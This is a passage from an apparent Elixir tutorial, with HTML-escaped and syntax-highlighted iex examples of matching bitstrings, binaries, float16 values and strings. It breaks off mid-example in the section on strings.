&lt;pre id=&quot;code-block-14&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# 65_504 is the largest number a float16 can store&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;65_504&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;float&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;65_504&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;float&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;65_504&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;float&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;65_505&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;float&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the second example, we try to store a number larger than the &lt;code&gt;float16&lt;/code&gt; precision limit of &lt;code&gt;65,504&lt;/code&gt;, but Elixir just cuts off the extra and falls back to the limit of &lt;code&gt;65,504&lt;/code&gt;. So, unless you work with billions of floats in your application, better stick to the default &lt;code&gt;float64&lt;/code&gt; which is unlikely to lose precision.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#bitstrings-1&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;bitstrings-1&quot;&gt;&lt;/a&gt;Bitstrings&lt;/h3&gt;
&lt;p&gt;You can match nested bitstrings like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-15&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bitstring&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or you can use the alias &lt;code&gt;bits&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-16&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bits&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#binaries&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;binaries&quot;&gt;&lt;/a&gt;Binaries&lt;/h3&gt;
&lt;p&gt;Binaries are a special type of bitstring:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A binary is a bitstring where the number of bits is divisible by 8.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So, every &lt;em&gt;binary&lt;/em&gt; is a &lt;em&gt;bitstring&lt;/em&gt;, but not every &lt;em&gt;bitstring&lt;/em&gt; is a &lt;em&gt;binary&lt;/em&gt;. When matching a binary, be careful to assume that the underlying bitstring is divisible by 8 because you will receive a &lt;code&gt;MatchError&lt;/code&gt; otherwise.&lt;/p&gt;
&lt;p&gt;If you match a binary at the end of the bitstring, you don&apos;t need to specify its size:&lt;/p&gt;
&lt;pre id=&quot;code-block-17&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;binary&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;102&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;111&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;111&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foo&quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But to match a binary anywhere else, you must specify its expected size:&lt;/p&gt;
&lt;pre id=&quot;code-block-18&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;binary&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;102&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;111&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;111&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foo&quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Binaries convert strings to UTF8 &lt;a href=&quot;https://hexdocs.pm/elixir/binaries-strings-and-charlists.html#utf-8-and-encodings&quot;&gt;by default&lt;/a&gt;, so you need to watch out with exact text matching.&lt;/p&gt;
&lt;pre id=&quot;code-block-19&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Foo&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since binaries are just bytes, you can also use the alias &lt;code&gt;bytes&lt;/code&gt; in the match:&lt;/p&gt;
&lt;pre id=&quot;code-block-20&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;102&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;111&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;111&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foo&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;102&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;111&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;111&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#strings&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;strings&quot;&gt;&lt;/a&gt;Strings&lt;/h3&gt;
&lt;p&gt;Strings are binaries (sequences of bytes) and UTF8 encoded by default, meaning each character is one byte.&lt;/p&gt;
&lt;pre id=&quot;code-block-21&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;c1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;c2&lt;/span&gt;&lt;span style=&quot;color: 